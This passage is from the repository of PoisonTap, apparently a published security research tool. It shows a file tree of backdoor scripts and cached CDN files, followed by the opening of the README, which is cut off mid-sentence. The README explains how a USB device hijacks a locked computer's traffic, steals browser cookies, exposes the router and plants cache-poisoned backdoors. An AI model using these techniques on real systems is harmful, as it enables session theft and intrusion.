├── README.md ├── alexa1m.sh ├── backdoor.html ├── backend_server.js ├── dhcpd.conf ├── js ├── ajax.googleapis.com__ajax__libs__angular_material__0.10.0__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.10.1__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.11.0__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.11.1__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.11.2__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.11.4__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.6.1__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.6__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.7.0__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.7.1__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.8.0__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.8.1__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.8.2__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.8.3__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.9.0__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__0.9.4__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__1.0.0__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__1.0.1__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__1.0.2__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__1.0.3__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__1.0.4__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angular_material__1.0.5__angular-material.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.3__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.4__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.5__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.6__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.7__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.0.8__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.10__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.11__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.12__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.13__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.14__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.15__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.16__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.17__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.18__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.19__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.20__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.21__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.22__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.23__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.24__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.25__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.26__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.27__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.3__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.4__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.5__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.6__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.7__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.8__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.2.9__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.10__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.11__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.12__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.13__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.14__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.15__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.16__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.17__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.18__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.19__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.3__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.4__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.5__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.6__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.7__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.8__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-beta.9__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-rc.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-rc.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-rc.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-rc.3__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-rc.4__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0-rc.5__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.10__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.11__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.12__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.13__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.14__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.15__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.16__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.17__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.3__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.4__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.5__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.6__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.7__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.8__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.3.9__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta.3__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta.4__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta.5__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-beta6__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-rc.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-rc.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0-rc.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.3__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.4__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.5__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.6__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.7__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.8__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.4.9__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.5.0-beta.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.5.0-beta.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.5.0-beta.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.5.0-rc.0__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.5.0-rc.1__angular.min.js ├── ajax.googleapis.com__ajax__libs__angularjs__1.5.0-rc.2__angular.min.js ├── ajax.googleapis.com__ajax__libs__dojo__1.1.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.10.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.10.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.10.2__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.10.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.10.4__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.2.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.2.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.3.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.3.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.3.2__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.4.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.4.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.4.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.4.4__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.4.5__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.4.6__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.5.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.5.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.5.2__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.5.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.5.4__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.6.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.6.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.6.2__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.6.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.2__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.4__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.5__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.6__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.7__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.7.8__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.10__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.2__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.4__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.5__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.6__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.7__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.8__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.8.9__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.0__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.1__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.2__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.3__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.4__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.5__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.6__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__dojo__1.9.7__dojo__dojo.js ├── ajax.googleapis.com__ajax__libs__ext-core__3.0.0__ext-core.js ├── ajax.googleapis.com__ajax__libs__ext-core__3.1.0__ext-core.js ├── ajax.googleapis.com__ajax__libs__jquery__1.10.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.10.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.10.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.11.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.11.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.11.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.11.3__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.12.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.12.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.12.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.2.3__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.2.6__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.3.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.3.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.3.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.4.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.4.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.4.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.4.3__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.4.4__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.5.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.5.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.5.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.6.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.6.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.6.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.6.3__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.6.4__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.7.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.7.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.7.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.8.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.8.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.8.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.8.3__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.9.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__1.9.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.0.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.0.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.0.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.0.3__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.1.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.1.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.1.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.1.3__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.1.4__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.2.0__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.2.1__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquery__2.2.2__jquery.min.js ├── ajax.googleapis.com__ajax__libs__jquerymobile__1.4.0__jquery.mobile.min.js ├── ajax.googleapis.com__ajax__libs__jquerymobile__1.4.1__jquery.mobile.min.js ├── ajax.googleapis.com__ajax__libs__jquerymobile__1.4.2__jquery.mobile.min.js ├── ajax.googleapis.com__ajax__libs__jquerymobile__1.4.3__jquery.mobile.min.js ├── ajax.googleapis.com__ajax__libs__jquerymobile__1.4.4__jquery.mobile.min.js ├── ajax.googleapis.com__ajax__libs__jquerymobile__1.4.5__jquery.mobile.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.10.0__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.10.1__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.10.2__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.10.3__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.10.4__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.11.0__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.11.1__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.11.2__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.11.3__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.11.4__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.5.2__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.5.3__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.6.0__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.7.0__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.7.1__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.7.2__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.7.3__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.0__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.10__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.11__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.12__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.13__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.14__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.15__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.16__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.17__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.18__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.19__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.1__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.20__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.21__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.22__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.23__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.24__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.2__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.4__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.5__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.6__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.7__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.8__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.8.9__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.9.0__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.9.1__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__jqueryui__1.9.2__jquery-ui.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.1.1__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.1.2__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.2.1__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.2.2__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.2.3__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.2.4__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.2.5__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.3.0__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.3.1__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.3.2__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.4.0__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.4.1__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.4.2__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.4.3__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.4.4__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.4.5__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.5.0__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.5.1__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.5.2__mootools.min.js ├── ajax.googleapis.com__ajax__libs__mootools__1.6.0__mootools.min.js ├── ajax.googleapis.com__ajax__libs__prototype__1.6.0.2__prototype.js ├── ajax.googleapis.com__ajax__libs__prototype__1.6.0.3__prototype.js ├── ajax.googleapis.com__ajax__libs__prototype__1.6.1.0__prototype.js ├── ajax.googleapis.com__ajax__libs__prototype__1.7.0.0__prototype.js ├── ajax.googleapis.com__ajax__libs__prototype__1.7.1.0__prototype.js ├── ajax.googleapis.com__ajax__libs__prototype__1.7.2.0__prototype.js ├── ajax.googleapis.com__ajax__libs__prototype__1.7.3.0__prototype.js ├── ajax.googleapis.com__ajax__libs__scriptaculous__1.8.1__scriptaculous.js ├── ajax.googleapis.com__ajax__libs__scriptaculous__1.8.2__scriptaculous.js ├── ajax.googleapis.com__ajax__libs__scriptaculous__1.8.3__scriptaculous.js ├── ajax.googleapis.com__ajax__libs__scriptaculous__1.9.0__scriptaculous.js ├── ajax.googleapis.com__ajax__libs__spf__2.0.0__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.0.1__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.1.0__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.1.1__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.1.2__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.2.0__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.3.0__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.3.1__spf.js ├── ajax.googleapis.com__ajax__libs__spf__2.3.2__spf.js ├── ajax.googleapis.com__ajax__libs__swfobject__2.1__swfobject.js ├── ajax.googleapis.com__ajax__libs__swfobject__2.2__swfobject.js ├── ajax.googleapis.com__ajax__libs__threejs__r67__three.min.js ├── ajax.googleapis.com__ajax__libs__threejs__r68__three.min.js ├── ajax.googleapis.com__ajax__libs__threejs__r69__three.min.js ├── ajax.googleapis.com__ajax__libs__webfont__1.5.0__webfont.js ├── ajax.googleapis.com__ajax__libs__webfont__1.5.10__webfont.js ├── ajax.googleapis.com__ajax__libs__webfont__1.5.18__webfont.js ├── ajax.googleapis.com__ajax__libs__webfont__1.5.2__webfont.js ├── ajax.googleapis.com__ajax__libs__webfont__1.5.3__webfont.js ├── ajax.googleapis.com__ajax__libs__webfont__1.5.6__webfont.js ├── ajax.googleapis.com__ajax__libs__webfont__1.6.16__webfont.js └── ajax.googleapis.com__ajax__libs__webfont__2016.__webfont.js ├── pi_poisontap.js ├── pi_startup.sh ├── target_backdoor.js └── target_injected_xhtmljs.html /README.md: -------------------------------------------------------------------------------- 1 | # [PoisonTap](https://samy.pl/poisontap/) - siphons cookies, exposes internal router & installs web backdoor on locked computers 2 | 3 | Created by @SamyKamkar || https://samy.pl 4 | 5 | When **[PoisonTap](https://samy.pl/poisontap)** (Raspberry Pi Zero & Node.js) is plugged into a **locked/password protected** computer, it: 6 | 7 | * emulates an Ethernet device over USB (or Thunderbolt) 8 | * hijacks **all Internet traffic** from the machine (*despite* being a low priority/unknown network interface) 9 | * siphons and stores HTTP cookies and sessions from the web browser for the Alexa top 1,000,000 websites 10 | * exposes the **internal router** to the attacker, making it accessible **remotely** via outbound WebSocket and DNS rebinding (thanks Matt Austin for rebinding idea!) 11 | * installs a persistent web-based backdoor in HTTP cache for hundreds of thousands of domains and common Javascript CDN URLs, all with access to the user's cookies via cache poisoning 12 | * allows attacker to **remotely** force the user to make HTTP requests and proxy back responses (GET & POSTs) with the **user's cookies** on any backdoored domain 13 | * does **not** require the machine to be unlocked 14 | * backdoors and remote access persist **even after device is removed** and attacker sashays away 15 | 16 | ![PoisonTap](https://samy.pl/poisontap/cropped6.gif) 17 | 18 | *(incredible HTML5 canvas animation by Ara)* 19 | 20 | ### PoisonTap evades the following security mechanisms: 21 | 22 | * Password Protected Lock Screens 23 | * Routing Table priority and network interface Service Order 24 | * Same-Origin Policy 25 | * X-Frame-Options 26 | * HttpOnly Cookies 27 | * SameSite cookie attribute 28 | * Two-Factor/Multi-Factor Authentication (2FA/MFA) 29 | * DNS Pinning 30 | * Cross-Origin Resource Sharing (CORS) 31 | * HTTPS cookie protection when Secure cookie flag & HSTS not enabled 32 | 33 | ------------ 34 | 35 | # Demo 36 | 37 | PoisonTap is built for the $5 Raspberry Pi Zero without any additional components other than a micro-USB cable & microSD card, or can work on any Raspberry Pi (1/2/3) with an Ethernet-to-USB/Thunderbolt dongle, or can work on other devices that can emulate USB gadgets such as USB Armory and LAN Turtle. 38 | 39 | **Live demonstration** and more details available in the video: 40 | MagSpoof 41 | 42 | **Point of Contact:** @SamyKamkar // https://samy.pl 43 | 44 | **Released:** November 16, 2016 45 | 46 | **Source code and download:** https://github.com/samyk/poisontap 47 | 48 | ----- 49 | 50 | # How PoisonTap Works 51 | 52 | PoisonTap produces a cascading effect by exploiting the existing trust in various mechanisms of a machine and network, including USB/Thunderbolt, DHCP, DNS, and HTTP, to produce a snowball effect of information exfiltration, network access and installation of semi-permanent backdoors. 53 | 54 | ![Network Hijacking](https://samy.pl/poisontap/network2.gif?) 55 | 56 | In a nutshell, PoisonTap performs the following: 57 | 58 | 59 | ### *Network Hijacking* 60 | * Attacker plugs PoisonTap (such as weaponized Raspberry Pi Zero) into a locked computer (even if computer is password protected) 61 | * PoisonTap emulates an Ethernet device (eg, Ethernet over USB/Thunderbolt) -- by default, Windows, OS X and Linux recognize an ethernet device, automatically loading it as a low-priority network device and performing a DHCP request across it, **even when the machine is locked or password protected** 62 | * PoisonTap responds to the DHCP request and provides the machine with an IP address, however the DHCP response is crafted to tell the machine that the entire IPv4 space (0.0.0.0 - 255.255.255.255) is part of the PoisonTap's local network, rather than a small subnet (eg 192.168.0.0 - 192.168.0.255) 63 | * Normally it would be 